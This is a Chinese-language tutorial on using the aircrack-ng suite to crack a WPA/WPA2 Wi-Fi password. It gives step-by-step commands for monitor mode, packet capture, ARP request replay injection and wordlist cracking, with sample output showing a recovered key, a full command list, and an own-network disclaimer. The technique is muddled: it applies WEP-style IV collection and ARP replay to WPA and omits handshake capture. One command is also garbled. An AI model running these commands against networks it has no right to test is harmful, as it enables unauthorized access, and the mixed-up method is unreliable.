Aircrack-ng 基本上是一个网络软件套件,旨在实现以下目标:
请注意,本教程并不是详尽的指南,而是旨在培养一些基本技能来测试您自己的网络安全性并熟悉这些概念。
下面概述的攻击基于被动技术(ARP 请求重放攻击),主要针对基于 debian 的发行版,假设您有一张工作无线卡,并且驱动程序已打好注入补丁。
Aircrack-ng可以通过编译源码的方式安装在基于debian的操作系统上(更多详情可以访问官网)。
您可以在下面找到有关安装为基于 Debian 的操作系统构建 aircrack-ng 的基本要求的说明。
$ sudo apt install build-essential autoconf automake libtool pkg-config libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill zlib1g-dev libpcap-dev libsqlite3-dev libpcre3-dev libhwloc-dev libcmocka-dev hostapd wpasupplicant tcpdump screen iw usbutils
获取aircrack-ng的最新副本:
$ git clone https://github.com/aircrack-ng/aircrack-ng
$ cd aircrack-ng
为了构建aircrack-ng,使用了Autotools构建系统。首先, ./configure
项目以使用适当的选项进行构建:
$ autoreconf -i
$ ./configure --with-experimental
接下来,使用make
命令编译项目,并使用下面列出的其他目标中的“安装”目标来完成安装。
make check
make integration
make install
make uninstall
此步骤的目的是确保您的卡成功支持注入。假设您的接口名称是“wlan0”(您可以在终端上输入iwconfig
来检索它),请输入以下命令:
# aireplay-ng --test wlan0
系统回应:
18:10:59 wlan0 channel: 10
18:10:59 Trying broadcast probe requests...
18:10:59 Injection is working!
18:11:00 Found 1 AP
...
这确认您的卡可以注入数据包。
要做的第一件事是寻找潜在目标,使用airmon-ng
将您的无线卡置于监控模式。但是,强烈建议在使用 aircrack-ng 套件之前kill
所有干扰进程。
# airmon-ng check kill
Killing these processes:
PID Name
870 dhclient
1115 wpa_supplicant
然后,可以启用用于创建另一个接口(mon0)的监视模式:
# airmon-ng start wlan0
PHY Interface Driver Chipset
phy0 wlan0 ath9k Qualcomm Atheros AR9485
(monitor mode enabled for [phy0]wlan0 on [phy0]mon0)
您会注意到“wlan0”已成功进入监控模式。然后,启动airodump-ng
来查找网络:
# airodump-ng mon0
找到您要破解的无线网络,并从以下输出中记下其 BSSID 和信道:
CH 10 ][ Elapsed: 36 s][2019-05-15 18:15
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
08:00:BF:E6:31:2E -21 100 5240 178307 338 10 54 WPA CCMP PSK infosec_router
...
请注意,输出的顶部列出了范围内 AP 的信息,底部列出了连接到相应 AP 的客户端。
打开另一个控制台会话以捕获目标生成的初始向量并将结果保存到文件中:
# airodump-ng -c 10 --bssid 08:00:BF:E6:31:2E -w output-file mon0
其中-c 10
是无线网络的通道, --bssid 08:00:BF:E6:31:2E
是 AP 的 MAC 地址, -w output-file
定义将包含初始化向量的输出文件, mon0
是接口名称。
系统回应:
CH 10 ][ Elapsed: 12 s][2019-05-15 18:16
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
08:00:BF:E6:31:2E -21 100 5240 178307 338 10 54 WPA CCMP PSK infosec_router
BSSID STATION PWR Lost Packets Probes
08:00:BF:E6:31:2E 00:0F:35:51:AC:22 -21 0 183782
命令执行后会生成各种文件。
经典的 ARP 请求重放攻击是生成新初始化向量的最有效方法,并且工作非常可靠。此步骤的目的是在侦听 ARP 请求的模式下启动aireplay-ng
,然后将它们重新注入回接入点。保持airodump-ng
和aireplay-ng
运行,打开另一个终端并运行 ARP 请求重放攻击:
# aireplay-ng --arpreplay -b 08:00:BF:E6:31:2E -h 00:0F:35:51:AC:22 mon0
Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.
Read 618643 packets (got 304896 ARP requests), sent 194947 packets...
您可以通过查看airodump-ng
屏幕来检查数据包是否被注入。
此时,您应该能够从前面步骤中收集的初始化向量中获取 WPA 密钥。要执行此攻击,您需要一个单词列表,如果网络密码不在单词文件中,您将无法破解密码。请注意,大多数 WPA/WPA2 路由器都带有 12 个字符的强随机密码,许多用户(正确地)保留这些密码不变。如果您尝试破解这些密码之一,我建议使用 WPA 长度的密码列表。
打开另一个控制台会话并输入:
# aircrack-ng -a2 -b 08:00:BF:E6:31:2E -w wordlist.txt output * .cap
其中-a2
指定WPA/WPA2-PSK的攻击模式, -w wordlist.txt
指您自己的字典词表, output*.cap
选择所有扩展名为.cap
输出文件。
这是成功攻击的输出:
Aircrack-ng 1.5.2
[00:00:00] 192/1229 keys tested (520.04 k/s)
Time left: 0 seconds 15.62%
KEY FOUND! [ notsecure ]
Master Key : 42 28 5E 5A 73 33 90 E9 34 CC A6 C3 B1 CE 97 CA
06 10 96 05 CC 13 FC 53 B0 61 5C 19 45 9A CE 63
Transient Key : 86 D0 43 C9 AA 47 F8 03 2F 71 3F 53 D6 65 F3 F3
86 36 52 0F 48 1E 57 4A 10 F8 B6 A0 78 30 22 1E
4E 77 F0 5E 1F FC 73 69 CA 35 5B 54 4D B0 EC 1A
90 FE D0 B9 33 06 60 F9 33 4B CF 30 B4 A8 AE 3A
EAPOL HMAC : 8E 52 1B 51 E8 F2 7E ED 95 F4 CF D2 C6 D0 F0 68
您可以在下面找到破解 WPA/WPA2 网络所需的所有命令的列表。
# kill all interfering processes prior to using the aircrack-ng
airmon-ng check kill
# put your network device into monitor mode
airmon-ng start wlan0
# listen for all nearby beacon frames to get target BSSID and channel
airodump-ng mon0
# start listening for the handshake on a new console session
airodump-ng -c 10 --bssid 08:00:BF:E6:31:2E -w output-file mon0
# start the ARP request replay attack
aireplay-ng --arpreplay -b 08:00:BF:E6:31:2E -h 00:0F:35:51:AC:22 mon0
# run aircrack-ng to obtain the WPA key
aircrack-ng -a2 -b 08:00:BF:E6:31:2E -w wordlist.txt output*.cap
该项目根据 MIT 许可证获得许可 - 有关详细信息,请参阅许可证文件。
本教程仅用于教育目的,我不提倡恶意行为,也不对任何非法活动负责。